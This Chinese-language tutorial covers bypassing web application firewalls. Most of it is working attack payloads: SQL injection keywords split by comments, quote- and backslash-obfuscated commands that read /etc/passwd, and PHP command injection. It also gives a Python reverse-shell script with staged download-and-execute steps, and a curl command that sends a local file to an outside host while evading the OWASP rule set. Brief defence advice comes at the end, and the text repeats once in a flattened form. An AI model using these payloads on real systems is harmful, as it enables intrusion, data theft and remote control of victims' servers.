Web应用程序防火墙(WAF)bypass技术(二)
字数 1181 2025-08-18 11:37:50

WAF Bypass技术详解:字符串连接与命令注入绕过

1. 基础概念

Web应用程序防火墙(WAF)通过规则集检测和阻止恶意请求,但攻击者可以通过各种技术绕过这些防护措施。本文重点介绍利用字符串连接和命令构造技术绕过WAF的方法。

2. SQL注入绕过技术

2.1 注释拆分技术

在SQL注入中,可以使用注释语法拆分关键字来绕过WAF检测:

/?id=1+un/**/ion+sel/**/ect+1,2,3--

技术要点

  • 使用/**/注释分隔SQL关键字
  • 适用于WAF允许星号(*)和注释语法的情况
  • 仅适用于SQL注入,不适用于文件包含或命令执行

3. 字符串连接技术

3.1 跨语言字符串连接方式

不同编程语言实现字符串连接的方式不同:

  1. 加号连接

    echo "hello"." world";
    
    print "hello" + " world"
    
  2. 无操作符连接
    在C、C++、Python和Bash中,相邻字符串字面量会自动连接:

    echo 't'e's't
    echo 'te'st''
    

3.2 Bash中的字符串连接特性

Bash会将所有相邻字符串字面量连接在一起,例如'te's't'由三个字符串组成:test

4. WAF绕过实战

4.1 文件读取绕过

当WAF规则阻止/etc/passwd等敏感路径时,可使用字符串连接技术:

/bin/cat /etc/passwd
/bin/cat /e'tc'/pa'ss'wd
/bin/c'at' /e'tc'/pa'ss'wd
/b'i'n/c'a't /e't'c/p'a's's'w'd'

4.2 远程命令执行绕过

在存在RCE漏洞的PHP应用中:

<?php 
if (isset($_GET['zzz'])) { 
    system('curl -v '.$_GET['zzz']); 
}

绕过方法

curl -v "http://target/?zzz=;+cat+/e'tc/pass'wd"

4.3 反弹Shell技术

当直接执行复杂命令被阻止时,可分步实施:

  1. 准备Python反弹Shell脚本

    #!/usr/bin/python
    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("<IP>",2375))
    os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"])
    
  2. 分步执行

    # 下载脚本
    curl '.../?zzz=wg'e't <IP>:2375/shell.py+-o+/tmp/shell.py'
    
    # 设置权限
    curl '.../?zzz=c'hm'od 777 -R /tmp/shell.py'
    
    # 执行脚本
    curl '.../?zzz=/t'm'p/shell.py'
    

5. 对抗OWASP核心规则集

5.1 ModSecurity的防御机制

OWASP核心规则集使用两个关键转换函数:

  1. normalizePath

    • 删除多个目录自引用和后引用
    • 规范化路径中的斜杠
  2. cmdLine

    • 删除所有反斜杠(\)、双引号(")、单引号(')、插入符号(^)
    • 删除斜杠和括号前的空格
    • 将逗号和分号替换为空格
    • 合并多个空格为单个空格
    • 转换为小写

5.2 绕过限制的技术

当直接命令执行被阻止时,可利用curl的数据传输功能:

# 使用curl的-d参数发送文件内容
curl ".../?zzz=-d+%40/path/to/file+1.1.1.1:1337"

技术要点

  • 使用%40代替@符号
  • 适用于防护等级0-3的环境
  • 高防护等级(4级)会阻止包含特殊字符的请求

6. 其他绕过技术

6.1 反斜杠转义技术

反斜杠也可用于构造绕过字符串:

/bin/cat /etc/passwd
/bin/cat /e\tc/pas\swd

7. 防御建议

  1. 输入验证

    • 实施严格的白名单输入验证
    • 规范化所有输入数据
  2. WAF配置

    • 启用高级防护等级
    • 定期更新规则集
    • 使用cmdLine和normalizePath等转换函数
  3. 系统加固

    • 限制系统命令执行权限
    • 监控异常网络活动

8. 参考资源

  1. Bypass a WAF by Positive Technology
  2. Web Application Firewalls: Attacking detection logic mechanisms - BlackHat USA 2016
  3. SQLi bypassing WAF on OWASP
WAF Bypass技术详解:字符串连接与命令注入绕过 1. 基础概念 Web应用程序防火墙(WAF)通过规则集检测和阻止恶意请求,但攻击者可以通过各种技术绕过这些防护措施。本文重点介绍利用字符串连接和命令构造技术绕过WAF的方法。 2. SQL注入绕过技术 2.1 注释拆分技术 在SQL注入中,可以使用注释语法拆分关键字来绕过WAF检测: 技术要点 : 使用 /**/ 注释分隔SQL关键字 适用于WAF允许星号(* )和注释语法的情况 仅适用于SQL注入,不适用于文件包含或命令执行 3. 字符串连接技术 3.1 跨语言字符串连接方式 不同编程语言实现字符串连接的方式不同: 加号连接 : 无操作符连接 : 在C、C++、Python和Bash中,相邻字符串字面量会自动连接: 3.2 Bash中的字符串连接特性 Bash会将所有相邻字符串字面量连接在一起,例如 'te's't' 由三个字符串组成: te 、 s 和 t 。 4. WAF绕过实战 4.1 文件读取绕过 当WAF规则阻止 /etc/passwd 等敏感路径时,可使用字符串连接技术: 4.2 远程命令执行绕过 在存在RCE漏洞的PHP应用中: 绕过方法 : 4.3 反弹Shell技术 当直接执行复杂命令被阻止时,可分步实施: 准备Python反弹Shell脚本 : 分步执行 : 5. 对抗OWASP核心规则集 5.1 ModSecurity的防御机制 OWASP核心规则集使用两个关键转换函数: normalizePath : 删除多个目录自引用和后引用 规范化路径中的斜杠 cmdLine : 删除所有反斜杠( \ )、双引号( " )、单引号( ' )、插入符号( ^ ) 删除斜杠和括号前的空格 将逗号和分号替换为空格 合并多个空格为单个空格 转换为小写 5.2 绕过限制的技术 当直接命令执行被阻止时,可利用curl的数据传输功能: 技术要点 : 使用 %40 代替 @ 符号 适用于防护等级0-3的环境 高防护等级(4级)会阻止包含特殊字符的请求 6. 其他绕过技术 6.1 反斜杠转义技术 反斜杠也可用于构造绕过字符串: 7. 防御建议 输入验证 : 实施严格的白名单输入验证 规范化所有输入数据 WAF配置 : 启用高级防护等级 定期更新规则集 使用cmdLine和normalizePath等转换函数 系统加固 : 限制系统命令执行权限 监控异常网络活动 8. 参考资源 Bypass a WAF by Positive Technology Web Application Firewalls: Attacking detection logic mechanisms - BlackHat USA 2016 SQLi bypassing WAF on OWASP